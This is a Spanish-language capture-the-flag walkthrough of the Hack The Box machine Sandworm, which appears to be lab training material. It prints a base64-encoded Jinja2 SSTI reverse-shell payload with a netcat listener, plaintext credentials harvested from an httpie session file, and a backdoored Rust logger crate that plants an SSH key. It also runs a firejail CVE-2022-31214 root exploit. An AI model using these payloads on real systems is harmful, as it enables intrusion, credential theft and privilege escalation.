Descripción
Sandworm es una máquina media de Hack The Box que cuenta con las siguientes vulnerabilidades:
- Aplicación web Flask vulnerable a Inyección de Plantilla del Lado del Servidor conduciendo a Ejecución de Comandos Remotos
- Pivote de Usuario usando credenciales de
httpiefiltradas y reutilizadas - Pivote de Usuario infectando una dependencia de Rust administrada por el gestor de paquetes Cargo
- Escalada de Privilegios usando la vulnerabilidad de
firejailpermitiendo la ejecución de binarios set-uid
Reconocimiento
Primero, vamos a comprobar con el comando ping si la máquina está activa y el sistema operativo. La dirección IP de la máquina objetivo es 10.10.11.218.
$ ping -c 3 10.10.11.218
PING 10.10.11.218 (10.10.11.218) 56(84) bytes of data.
64 bytes from 10.10.11.218: icmp_seq=1 ttl=63 time=44.4 ms
64 bytes from 10.10.11.218: icmp_seq=2 ttl=63 time=43.9 ms
64 bytes from 10.10.11.218: icmp_seq=3 ttl=63 time=43.4 ms
--- 10.10.11.218 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 43.421/43.915/44.444/0.418 ms
La máquina está activa y con el TTL que iguala 63 (64 menos 1 salto), podemos asegurar que es una máquina Unix. Ahora vamos a realizar un escaneo de puertos TCP con Nmap para comprobar todos los puertos abiertos.
$ sudo nmap 10.10.11.218 -sS -oN nmap_scan
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for 10.10.11.218
Host is up (0.045s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
443/tcp open https
Nmap done: 1 IP address (1 host up) scanned in 0.94 seconds
Obtenemos tres puertos abiertos: 22, 80 y 443.
Enumeración
Luego realizamos un escaneo más avanzado, con versión del servicio y scripts.
$ nmap 10.10.11.218 -sV -sC -p22,80,443 -oN nmap_scan_ports
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for 10.10.11.218
Host is up (0.044s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_ 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to https://ssa.htb/
443/tcp open ssl/http nginx 1.18.0 (Ubuntu)
| ssl-cert: Subject: commonName=SSA/organizationName=Secret Spy Agency/stateOrProvinceName=Classified/countryName=SA
| Not valid before: 2023-05-04T18:03:25
|_Not valid after: 2050-09-19T18:03:25
|_http-title: Secret Spy Agency | Secret Security Service
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.22 seconds
Obtenemos dos servicios: uno Secure Shell (SSH), y uno Hypertext Transfer Protocol (HTTP). Como no tenemos credenciales viables para el servicio SSH, vamos a movernos al servicio HTTP. El servicio HTTP es el mismo que el servicio HTTPs. Añadimos el dominio ssa.htb al archivo /etc/hosts.
$ echo '10.10.11.218 ssa.htb' | sudo tee -a /etc/hosts
Encontramos un sitio web sobre una “Secret Spy Agency” que está desarrollado con la biblioteca Python Flask, como podemos ver al final de la página: Powered by Flask™.
Estamos en condiciones de enviar un mensaje a la agencia utilizando la sección Contact. Solo podemos enviar textos cifrados con PGP.
Después del formulario de texto, encontramos el texto Don't know how to use PGP? Check out our guide que nos redirige a la página /guide. En esta página tenemos acceso a la clave pública de la agencia en la ruta /pgp, y las opciones para cifrar, descifrar un mensaje de muestra y verificar una firma.
La clave pública tiene este formato:
-----BEGIN PGP PUBLIC KEY BLOCK-----
mQINBGRTz6YBEADA4xA4OQsDznyYLTi36TM769G/APBzGiTN3m140P9pOcA2VpgX
+9puOX6+nDQvyVrvfifdCB90F0zHTCPvkRNvvxfAXjpkZnAxXu5c0xq3Wj8nW3hW
....
a3xUUFA+oyvEC0DT7IRMJrXWRRmnAw261/lBGzDFXP8E79ok1utrRplSe7VOBl7U
FxEcPBaB0bhe5Fh7fQ811EMG1Q6Rq/mr8o8bUfHh
=P8U3
-----END PGP PUBLIC KEY BLOCK-----
En la página /guide tenemos un mensaje firmado de muestra con este formato:
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA256
This message has been signed with the official SSA private key.
...
-----BEGIN PGP SIGNATURE-----
iQIzBAEBCAAdFiEE1rqUIwIaCDnMxvPIxh1CkRC2JdQFAmRT2bsACgkQxh1CkRC2
JdTCLhAAqdOcrfOsmkffKwdDKATwEpW1aLXkxYoklkH+DCDc58FgQYDNunMQvXjp
...
mItshTOG0jrtlvAf/PjqZ54yOPCWoyJQr5ZR7m4bh/kicXZVg5OiWrtVCuN0iUlD
7sXs10Js/pgvZfA6xFipfvs7W+lOQ0febeNmjuKcGk0VVewv8oc=
=/yGe
-----END PGP SIGNATURE-----
Podemos verificar este mensaje firmado con la función Verify Signature.
Tenemos un mensaje de vuelta que contiene información sobre la firma, como el ID de la clave, la fecha de la firma, el nombre de la clave PGP, o la fecha de vencimiento de la clave.
Esto significa que podemos inyectar texto en la salida del comando de verificación, por ejemplo usando el campo del nombre de la clave.
Explotación
Sabemos que la página web está codificada utilizando Python con la biblioteca Flask. Por lo tanto, podemos intentar si este campo es vulnerable a la vulnerabilidad de Inyección de Plantilla del Lado del Servidor (SSTI). Podemos usar la inyección {{7*7}} de la solución de plantilla Jinja2. Vamos a hacer una prueba al crear claves, un mensaje, una firma y luego verificar con la página web. En primer lugar, realizamos los comandos utilizando la herramienta gpg:
$ gpg --full-generate-key
gpg (GnuPG) 2.4.8; Copyright (C) 2025 g10 Code GmbH
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Please select what kind of key you want:
(1) RSA and RSA
...
Your selection? 1
RSA keys may be between 1024 and 4096 bits long.
What keysize do you want? (3072)
Requested keysize is 3072 bits
Please specify how long the key should be valid.
0 = key does not expire
...
Key is valid for? (0) 0
Key does not expire at all
Is this correct? (y/N) y
GnuPG needs to construct a user ID to identify your key.
Real name: {{7*7}}
Email address:
Comment:
You selected this USER-ID:
"{{7*7}}"
Change (N)ame, (C)omment, (E)mail or (O)kay/(Q)uit? o
public and secret key created and signed.
...
$ echo 'Test Message for Sandworm' > message.txt
$ gpg --armor --export '{{7*7}}' > public_key.asc
$ cat public_key.asc
-----BEGIN PGP PUBLIC KEY BLOCK-----
mQGNBGjr+kwBDACeXHrgcMxBE6RpWCxmxEsxLLBcJI6QFn49PsW3Cje2PSHZ81rj
71bNr/2JVSCbLVlyiy3eXldhvgk+H3kVD+OW7CrBMbeWHQLChnGc5Sh/nkL/3dv8
...
Vk8rFDOK2wY+83sPmKAGsokp+Nd5HgyVnnydUZriRLtQWZq0yULCBuOQaai198yb
5rQY8Pc/uKfVeOLw4rSD3+F3fgyNC46IsPLl2diMpxb55uo=
=xUzm
-----END PGP PUBLIC KEY BLOCK-----
$ gpg --clearsign -u '{{7*7}}' message.txt
$ cat message.txt.asc
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512
Test Message for Sandworm
-----BEGIN PGP SIGNATURE-----
iQGzBAEBCgAdFiEEKRYT2nR6avLZw6pvi/jznFJ5CwcFAmjr+1kACgkQi/jznFJ5
CwdTIAv+NdK9STQYcBjS3Pjb2JZ29alEigYlcEnA/d6y5adQ73y1DxkUY5dKyRLk
wW1tSWfr3D5g9USx1WGvf2a/h4rVwkH93vjs4pHEQ8WiWk39mXqs3kKiQmmNJXgm
SzCQZkv8uIa7VcO4V4N3YPjjdkZcSvBB2L8Vdk5xYdYHUCEf2HaKIL1PfaOlkwjJ
ODhf3W6yOLk6zucYFcMsk/gqekJpn74jQhFb3POBzKofe5ZVESfggTKYNwz9tHGT
sMOV9oRV9OfktNu1kZGYZsWA3fEKDJfSZtTw4UcibY0vMZMTkYA5jDNj2vMmdOy8
lc9MlZPPZyr+RCWBdBkhBOHk00NPn/0WAP8E1QezwntzpFiz7ed7bzeg+6CgtGcv
PJumhZ+yAZV6I7gHsqUZs9Ze1FuHpDnU56PdlBwrAIM0qt2Typ6YemWiL3U9niT5
C75juWLomW8bOTgPoTCGMJCwf6z78AmrmPIGDxoB1+gxxyWUaZ/4RsrMqCjjUWvJ
J1Zrjqt8
=9+3A
-----END PGP SIGNATURE-----
Ahora podemos usar la clave pública generada y el mensaje firmado en el sitio web.
Encontramos el texto 49 en la respuesta, lo que significa que la inyección ha sido exitosa y la operación 7x7 se ha completado. Podemos utilizar esta vulnerabilidad para obtener ejecución de comandos remotos en la máquina. En PayloadsAllTheThings repositorio encontramos un ejemplo de código para ejecución remota de comandos.: {{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}. Para desplegar una terminal inversa podemos utilizar algo como: {{ self.__init__.__globals__.__builtins__.__import__('os').popen('echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC42LzEyMzQgMD4mMQ==|base64 -d|bash').read() }}. Iniciamos el puerto de escucha en el puerto para crear el mensaje firmado.
$ nc -nvlp 1234
$ LANG=en gpg --full-generate-key
...
GnuPG needs to construct a user ID to identify your key.
Real name: {{ self.__init__.__globals__.__builtins__.__import__('os').popen('echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC42LzEyMzQgMD4mMQ==|base64 -d|bash').read() }}
Email address:
Comment:
...
$ gpg --armor --export "{{ self.__init__.__globals__.__builtins__.__import__('os').popen('echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC42LzEyMzQgMD4mMQ==|base64 -d|bash').read() }}" > public_key.asc
$ gpg --clearsign -u "{{ self.__init__.__globals__.__builtins__.__import__('os').popen('echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC42LzEyMzQgMD4mMQ==|base64 -d|bash').read() }}" message.txt
$ cat message.txt.asc
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512
Test Message for Sandworm
-----BEGIN PGP SIGNATURE-----
iQGzBAEBCgAdFiEEahv3z2qoKkmm9sC7n4imgsAEbmsFAmjr/lIACgkQn4imgsAE
bmtyuwv/Vd2+XFkwnU0CvB3OCQRWdFllTu6jYGxBP+R5g/ofyFs8k8g6sr2OCQuZ
o0Iq8sR99YvdEABQ9KiTHuqrbZ3D6j92zY1LWfwyeKwiJd3VGehae7RMKEoKqSZ8
amVjARLAjJj13xrBLdX+8FDmqtvRsAjYwhE4b+zHclP/lygppMkA9NsMRv+q/lvR
sjU1Y9M3faTV1DQ3mAnHs+m9Mb+u46nxw49UB3BP033PYdAtBRKiTqpwBDTWk0PU
18JB8eE8LTWJC6+yw4sI6/t4X8YK/Vaan+oMiyUJL62fIJrzjLUmKdBzUlalCYvi
WzZOnpd9uqYRltlwvOQJJPJPIdNJo/ZFwgA6QkZ88KdWKBmR8ZhXu3DGLX3Hfjr0
689iEnaa254cRJl24M6E0uzhtezCBHEKFk90R40rFOb06xvQew3asz1PgyYYslT1
j0jib69J4bYqoX9DAfM99dRxZUPXhtlYK3pr8uBwCY1zRyy1VpBRn+/W7zsEvknr
OgYF+66+
=kRag
-----END PGP SIGNATURE-----
Después de enviar la clave pública y el mensaje firmado, recibimos la terminal inversa como el usuario atlas.
$ nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.14.6] from (UNKNOWN) [10.10.11.218] 59360
bash: cannot set terminal process group (-1): Inappropriate ioctl for device
bash: no job control in this shell
/usr/local/sbin/lesspipe: 1: dirname: not found
atlas@sandworm:/var/www/html/SSA$ id
id
uid=1000(atlas) gid=1000(atlas) groups=1000(atlas)
Post-Explotación
Encontramos que estamos dentro de un entorno limitado, debido a la baja disponibilidad de comandos del sistema.
atlas@sandworm:/var/www/html/SSA$ ls /bin
ls /bin
base64
basename
bash
cat
dash
flask
gpg
gpg-agent
groups
id
lesspipe
ls
python3
python3.10
sh
atlas@sandworm:/var/www/html/SSA$ env
env
Could not find command-not-found database. Run 'sudo apt update' to populate it.
env: command not found
Encontramos tres usuarios de consola en el sistema: root, atlas y silentobserver.
atlas@sandworm:/var/www/html/SSA$ cat /etc/passwd
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
...
silentobserver:x:1001:1001::/home/silentobserver:/bin/bash
atlas:x:1000:1000::/home/atlas:/bin/bash
...
Nos movemos a enumerar el directorio /home/atlas.
atlas@sandworm:/var/www/html/SSA$ cd /home/atlas
atlas@sandworm:~$ ls -a
ls -a
.
..
.bash_history
.bash_logout
.bashrc
.cache
.cargo
.config
.gnupg
.local
.profile
.ssh
atlas@sandworm:~$ cd .config
cd .config
atlas@sandworm:~/.config$ ls -a
ls -a
.
..
firejail
httpie
atlas@sandworm:~/.config$ cd firejail
cd firejail
bash: cd: firejail: Permission denied
atlas@sandworm:~/.config$ cd httpie
cd httpie
atlas@sandworm:~/.config/httpie$ ls -a
ls -a
.
..
sessions
atlas@sandworm:~/.config/httpie$ cd sessions
cd sessions
atlas@sandworm:~/.config/httpie/sessions$ ls -a
ls -a
.
..
localhost_5000
atlas@sandworm:~/.config/httpie/sessions$ cd localhost_5000
cd localhost_5000
atlas@sandworm:~/.config/httpie/sessions/localhost_5000$ ls -a
ls -a
.
..
admin.json
atlas@sandworm:~/.config/httpie/sessions/localhost_5000$ cat admin.json
cat admin.json
{
"__meta__": {
"about": "HTTPie session file",
"help": "https://httpie.io/docs#sessions",
"httpie": "2.6.0"
},
"auth": {
"password": "quietLiketheWind22",
"type": null,
"username": "silentobserver"
},
"cookies": {
"session": {
"expires": null,
"path": "/",
"secure": false,
"value": "eyJfZmxhc2hlcyI6W3siIHQiOlsibWVzc2FnZSIsIkludmFsaWQgY3JlZGVudGlhbHMuIl19XX0.Y-I86w.JbELpZIwyATpR58qg1MGJsd6FkA"
}
},
"headers": {
"Accept": "application/json, */*;q=0.5"
}
}
En el directorio .config encontramos la carpeta firejail, una herramienta liviana de seguridad destinada a proteger un sistema Linux al establecer un entorno restringido para ejecutar (aplicaciones potencialmente no confiables). Esto explica el conjunto reducido de comandos a los que tenemos acceso. El otro folder es httpie, un cliente HTTP moderno y amigable para la era de las API, desde la línea de comandos. Dentro de sus sub-carpetas tenemos el archivo de configuración, con credenciales, con el usuario silentobserver y la contraseña quietLiketheWind22. Hay una mención a un servicio hospedado en el puerto 5000 con un cookie. Utilizar las credenciales usando el protocolo SSH nos da una sesión como el usuario.
$ ssh silentobserver@ssa.htb
silentobserver@sandworm:~$ id
uid=1001(silentobserver) gid=1001(silentobserver) groups=1001(silentobserver)
Vamos a hacer un port-forward del 5000 para ver qué es. Encontramos la misma aplicación web que vimos anteriormente. Usamos la herramienta pspy para comprobar los procesos que se ejecutan en intervalos de tiempo fijos (Cron) como usuario root.
silentobserver@sandworm:/tmp$ wget http://10.10.14.6/pspy64
silentobserver@sandworm:/tmp$ chmod +x pspy64
silentobserver@sandworm:/tmp$ ./pspy64
...
CMD: UID=0 PID=3659 | /usr/sbin/CRON -f -P
CMD: UID=0 PID=3658 | /usr/sbin/CRON -f -P
CMD: UID=0 PID=3660 | /bin/sh -c sleep 10 && /root/Cleanup/clean_c.sh
CMD: UID=0 PID=3661 | sleep 10
CMD: UID=0 PID=3662 | /usr/sbin/CRON -f -P
CMD: UID=0 PID=3664 | /bin/sudo -u atlas /usr/bin/cargo run --offline
CMD: UID=0 PID=3663 | /bin/sh -c cd /opt/tipnet && /bin/echo "e" | /bin/sudo -u atlas /usr/bin/cargo run --offline
...
Encontramos un trabajo Cron que está ejecutando comandos cargo dentro del directorio /opt/tipnet. Cargo es un gestor de paquetes para el lenguaje de programación Rust, el cual se utiliza para gestionar las dependencias de un proyecto. Podemos comprobar las dependencias en el archivo /opt/tipnet/Cargo.toml. El comando se ejecuta mediante el usuario atlas usando sudo.
silentobserver@sandworm:/tmp$ ls /opt/tipnet/
access.log Cargo.lock Cargo.toml src target
silentobserver@sandworm:/tmp$ cat /opt/tipnet/Cargo.toml
[package]
name = "tipnet"
version = "0.1.0"
edition = "2021"
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
[dependencies]
chrono = "0.4"
mysql = "23.0.1"
nix = "0.18.0"
logger = {path = "../crates/logger"}
sha2 = "0.9.0"
hex = "0.4.3"
Encontramos que la dependencia logger se obtiene desde el directorio /opt/crates/logger. Listamos sus permisos.
silentobserver@sandworm:/tmp$ ls -l /opt/crates/logger
total 24
-rw-r--r-- 1 atlas silentobserver 11644 May 4 2023 Cargo.lock
-rw-r--r-- 1 atlas silentobserver 190 May 4 2023 Cargo.toml
drwxrwxr-x 2 atlas silentobserver 4096 May 4 2023 src
drwxrwxr-x 3 atlas silentobserver 4096 May 4 2023 target
Encontramos que tenemos permisos de escritura completa sobre el archivo lib.rs dentro de la carpeta src ya que somos parte del grupo silentobserver.
silentobserver@sandworm:/tmp$ ls -l /opt/crates/logger/src/lib.rs
-rw-rw-r-- 1 atlas silentobserver 732 May 4 2023 /opt/crates/logger/src/lib.rs
Modificaremos el archivo para inyectar un comando que cree una clave SSH en el archivo /home/atlas/.ssh/authorized_keys. Este es el contenido completo del archivo lib.rs.
extern crate chrono;
use std::fs::OpenOptions;
use std::io::Write;
use chrono::prelude::*;
// execute command
use std::process::Command;
pub fn log(user: &str, query: &str, justification: &str) {
let output = Command::new("bash")
.arg("-c")
.arg("echo ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAgQD36o71FXJuBmYUnTC07UrPJNJQYoIc3QHYs27fR4Qv2P7ZBmzlGMDS5XA5HbH+R2Kd6QnXDKu6m6EU3Hs137VH83nN9COoqoHYLB8DjaWcrvUBlJHqr9CtHo4rVLFj9hTHfK0JrRVHvGFin7CVtdlklzKeVud5DU2Utrh00Mfj5w== user@sys | tee /home/atlas/.ssh/authorized_keys")
.output()
.expect("Error running the command");
let now = Local::now();
let timestamp = now.format("%Y-%m-%d %H:%M:%S").to_string();
let log_message = format!("[{}] - User: {}, Query: {}, Justification: {}\n", timestamp, user, query, justification);
let mut file = match OpenOptions::new().append(true).create(true).open("/opt/tipnet/access.log") {
Ok(file) => file,
Err(e) => {
println!("Error opening log file: {}", e);
return;
}
};
if let Err(e) = file.write_all(log_message.as_bytes()) {
println!("Error writing to log file: {}", e);
}
}
Después de unos segundos podremos spawnear una terminal como este usuario, y a diferencia de antes, tenemos acceso completo a todos los comandos y ya no estamos dentro de una jail firejail.
$ ssh -i id_rsa atlas@ssa.htb
atlas@sandworm:~$ id
uid=1000(atlas) gid=1000(atlas) groups=1000(atlas),1002(jailer)
groups=1001(silentobserver)
atlas@sandworm:~$ ps
PID TTY TIME CMD
4343 pts/0 00:00:00 suid-bash
4351 pts/0 00:00:00 ps
atlas@sandworm:~$ env
SHELL=/bin/bash
PWD=/tmp
...
Encontramos que estamos dentro del grupo jailer, busquemos archivos con este propietario de grupo.
atlas@sandworm:~$ find / -group jailer -type f 2> /dev/null
/usr/local/bin/firejail
Encontramos uno, el binario /usr/local/bin/firejail. Encontramos que la versión utilizada es la 0.9.68.
atlas@sandworm:~$ /usr/local/bin/firejail --help
firejail - version 0.9.68
...
Esta versión es vulnerable a una vulnerabilidad de conmutación de contexto de privilegios, CVE-2022-31214. Al crear un contenedor Firejail falso que sea aceptado por el programa setuid-root de Firejail como objetivo de unión, un atacante local puede entrar en un entorno en el que el espacio de nombres de usuario de Linux sigue siendo el espacio de nombres de usuario inicial. De esta manera, se puede ajustar la estructura del sistema de archivos para obtener privilegios de root mediante la ejecución de binarios setuid-root disponibles como su o sudo.
Encontramos una PoC de la vulnerabilidad en openwall, específicamente el script firejoin.py. Podemos ejecutarlo y seguir las instrucciones para obtener una terminal root. Necesitaremos abrir otra terminal.
atlas@sandworm:~$ nano firejoin.py
atlas@sandworm:~$ chmod +x firejoin.py
atlas@sandworm:~$ python3 firejoin.py
You can now run 'firejail --join=4998' in another terminal to obtain a shell where 'sudo su -' should grant you a root shell.
$ ssh -i id_rsa atlas@ssa.htb
atlas@sandworm:~$ firejail --join=4998
changing root to /proc/4998/root
Warning: cleaning all supplementary groups
Child process initialized in 5.15 ms
atlas@sandworm:~$ su -
root@sandworm:~# id
uid=0(root) gid=0(root) groups=0(root)
Flags
En la terminal root podemos recuperar los archivos user.txt y root.txt.
root@sandworm:~# cat /home/silentobserver/user.txt
<REDACTED>
root@sandworm:~# cat /root/root.txt
<REDACTED>